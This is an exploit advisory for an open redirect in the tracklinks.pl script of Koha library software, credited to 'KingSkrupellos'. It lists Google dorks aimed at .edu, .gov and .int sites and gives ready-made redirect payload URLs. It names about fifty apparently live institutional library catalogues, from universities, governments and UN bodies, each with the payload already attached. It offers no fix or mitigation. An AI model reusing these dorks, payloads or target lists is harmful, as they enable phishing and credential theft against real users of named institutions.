####################################################################
# Exploit Title : Koha Library Software 18.1106000 Tracklinks Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 19/06/2019
# Vendor Homepage : koha.org - koha-community.org
Software Download Link :
download.koha-community.org
download.koha-community.org/old_releases/
Software Affected Versions :
Koha 18.1106000
Koha 18.1105000
Koha 18.1104000
Koha 18.1101000
Koha 18.0508000
Koha 18.0510000
Koha 18.0507000
Koha 17.0506000
Koha 17.0505000
Koha 17.1105000
Koha 17.1103000
Koha 16.1114000
Koha 16.0504000
Koha 3.2208000
Koha 3.2204000
Koha 3.1408000
Koha 3.1411000
Koha 3.2210000
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Google Dorks :
inurl:"/cgi-bin/koha/opac-user.pl" site:edu
inurl:"/cgi-bin/koha/opac-user.pl" site:gov
inurl:"/cgi-bin/koha/opac-user.pl" site:int
inurl:"/cgi-bin/koha/opac-user.pl"
inurl:"/cgi-bin/koha/opac-main.pl"
inurl:/cgi-bin/koha/opac-shelves.pl
intext:Powered By Koha
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description About Software :
****************************
Koha Library Software - The world's first free and open source library system
Koha is a fully featured, scalable library management system.
Development is sponsored by libraries of varying types and sizes, volunteers, and
support companies worldwide.
####################################################################
# Impact :
***********
Koha Library Software accepts a user-controlled input that specifies
a link to an external site, and uses that link in a Redirect. This simplifies phishing
attacks. An http parameter may contain a URL value and could cause the web
application to redirect the request to the specified URL. By modifying the URL
value to a malicious site, an attacker may successfully launch a phishing scam and
steal user credentials. Because the server name in the modified link is identical to the
original site, phishing attempts have a more trustworthy appearance. Open redirect is a
failure in that process that makes it possible for attackers to steer users to malicious
websites. This vulnerability is used in phishing attacks to get users to visit malicious
sites without realizing it. Web users often encounter redirection when they visit the
Web site of a company whose name has been changed or which has been acquired by
another company. Visiting unreal web page user's computer becomes affected
by malware the task of which is to deceive the valid actor and steal his personal data.
####################################################################
# Vulnerable File :
*****************
/tracklinks.pl
# Vulnerable Parameters :
***********************
?uri=//
?biblionumber=[ID-NUMBER]&uri=//
# Open Redirection Exploit :
**************************
/cgi-bin/koha/tracklinks.pl?uri=//[REDIRECT-ADDRESS-HERE].gov
/cgi-bin/koha/tracklinks.pl?biblionumber=[ID-NUMBER]&uri=//[REDIRECT-ADDRESS-HERE].gov
####################################################################
# Example Vulnerable Sites :
*************************
[+] gvpl.kohacatalog.com/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.spc.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] wipo.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.ffa.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] kohahq.searo.who.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opackoha.iica.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.kelantanlibrary.gov.my/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.aum.edu.kw/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.sll.texas.gov/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.library.strathamnh.gov/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] koha.arcadia.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.git.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] koha.etu.edu.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] koha.oac.uncor.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.sust.edu/cgi-bin/koha/tracklinks.pl?biblionumber=39822&uri=//cxsecurity.com
[+] opac.library.strathmore.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] kutuphane.tbmm.gov.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] krc.aim.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] dlibrary.mediu.edu.my/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.britishcouncil.org.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] libcat.staffs.ac.uk/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] cheslive.koha-ptfs.co.uk/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.library.iitb.ac.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.cin.bywatersolutions.com/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.iiuc.ac.bd/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.roundrocktexas.gov/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalogo.escuelaing.edu.co/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.jnec.edu.bt/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalogue.univ-amu.fr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.iisermohali.ac.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] vlib.uniten.edu.my/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.tiss.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.nitrkl.ac.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] libkoha.alfaisal.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.jru.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] koha.aauni.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.mghihp.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] librarycatalogue.insead.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.thapar.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.marianas.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.library.usao.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] lib.bus.umich.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] opac.northsouth.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.iccs.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] koha.mei.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalogo.udelistmo.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] biblio.ebaf.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.mendocino.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.pisd.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] catalog.library.drbu.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
[+] library.tcmi.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################